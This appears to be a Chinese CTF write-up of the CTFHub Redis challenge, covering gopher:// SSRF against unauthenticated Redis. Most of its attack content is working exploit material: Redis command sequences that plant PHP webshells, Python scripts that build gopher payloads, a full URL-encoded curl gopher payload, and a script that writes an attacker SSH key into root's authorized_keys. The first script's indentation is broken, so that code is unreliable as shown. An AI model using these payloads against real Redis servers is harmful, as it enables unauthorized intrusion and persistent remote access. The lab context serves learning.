ctfhub--redis协议(巧用redis攻击内网)

题目内容:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

解题:

1.在gopherus上面输入命令:python gophers.py --exploit redis

ReverseShell应该是反弹shell PHPshell就是webshell了

选择phpshell 然后其他都默认就可以了,默认的写入文件名是shell.php 默认的命令参数是cmd

2.要记得_后面的内容要再url编码一下。有一个注意点就是这里得到的是命令行参数命令

因为他的语句是这样的:

flushall

set 1 '<?php system($_GET["cmd"]);?>'

config set dir /var/www/html

config set dbfilename shell.php

save

如果你是 url/shell.php?cmd=phpinfo(); 是不行的,因为这里是命令行参数。因此连接不了菜刀或者蚁剑

后面就是shell.php?cmd=ls /  再shell.php?cmd cat /flag了

 知其所以然:(Redis未授权访问攻击复现)

 

初识Gopher::

他是在HTTP出现以前的协议,后来因为HTTP逐渐淡出视野。Gopher协议没有默认端口所以要指定,因此有了下面的基本格式

最基本的格式:

gopher://<host>:<port>/<gopher-path>_后接TCP数据流

Gopher可以发送POST数据也可以发送GET数据。而且Gopher回车换行是%0d%0a,所以不使用工具总是要自己用脚本把%0a改成%0d%0a。而且POST参数之间的&分隔符也需要URL编码。同时Gopher还可以对FTP、Telnet、Redis、Memcache、mysql进行攻击,以及上面第一题提到的fastcgi。

Redis的利用大概有这几种方式:

1.绝对路径写webshell

2.写ssh公钥

3.写contrab计划任务反弹shell

4.主从复制

铺垫工作:

1.靶机(192.168.65.150 ubuntu)

2.攻击机(192.168.65.145 kali )

3.安装redis

4.开启ssh服务

1.绝对路径写webshell(最常见的)

先构造一下redis的语句:

flushall

config set dir /var/www/html/

config set dbfilename shell.php

set x "<?php eval($_REQUEST[cmd])?>"

save

再使用一个脚本把这个redis语句转换一下

 

import urllib
protocol="gopher://"
ip="192.168.65.145"
port="6379"
shell="\n\n<?php eval($_REQUEST[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
    ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="\r\n"
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
            cmd+=CRLF
            return cmd
        
        if __name__=="__main__":
            for x in cmd:
                payload += urllib.quote(redis_format(x))
    print payload

 

生成语句:

curl gopher://192.168.65.150:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_REQUEST%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

这个是攻击机运行的命令

可以看到靶机生成了shell.php

2.写ssh公钥

import urllib

protocol = "gopher://"
ip = "192.168.163.128"
port = "6379"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename = "authorized_keys"
path = "/root/.ssh/"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZ4COG/WedK5DMzzUrXon27jTinJr7p7fqXUuQmDELqSmtVJEhM7PDcfuELxB49GnxERabS+jKiylRuMDPw+OQYxLOANuWt8F0L5vCzik2ADn6OsD7Pq/vqCXo6gOHAKdueG8PsoeShw0DgUhwdd0jzSrz3RciuSo9Ka8y8QCU0BqQbosYxWVDpr2pzqkBL8LEB9oUu06ug5hJNoG1rpCPbebXCVCPvnnFVWuDHb0u9DSZz8a1LSREF1aDDjAHrc5TMOMh4LpIIaIbLq55/ZBI3KHEOfmpeKa+G56BcO03PV9L9Dx8XpT2p77zwOZWNRtHOTSV5o1qdwGyRNkff5Hhe5BojG5zwdzjkoduAs4s8pqPEYe4XiPrA2vkJuaYDG0pMNlCbwDmIKos6rr6iBJvgp9vTRGrlzqlf2HLqN9Bxmd52/6TQD5xgA0XsNPNr6EWVzS/NS9cZ5MJ3gzCJWkZEfMmNyaJwcul6Q3PPykN+iQ5pd9vejcsMeCEgdZVRhU= root@kali\n\n"
passwd = ""
cmd = ["flushall",
       "set 1 {}".format(ssh_pub.replace(" ", "${IFS}")),
       "config set dir {}".format(path),
       "config set dbfilename {}".format(filename),
       "save"
       ]
if passwd:
    cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"


def redis_format(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = ""
    cmd += "*" + str(len(redis_arr))
    for x in redis_arr:
        cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
    cmd += CRLF
    return cmd


if __name__ == "__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print(payload)

 

之后使用curl把我们的公钥写进ssh,这里要注意靶机的ssh服务一定是开启的

可以看到,成功写入。

之后再使用ssh服务连接一下靶机。

成功吃到shell

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值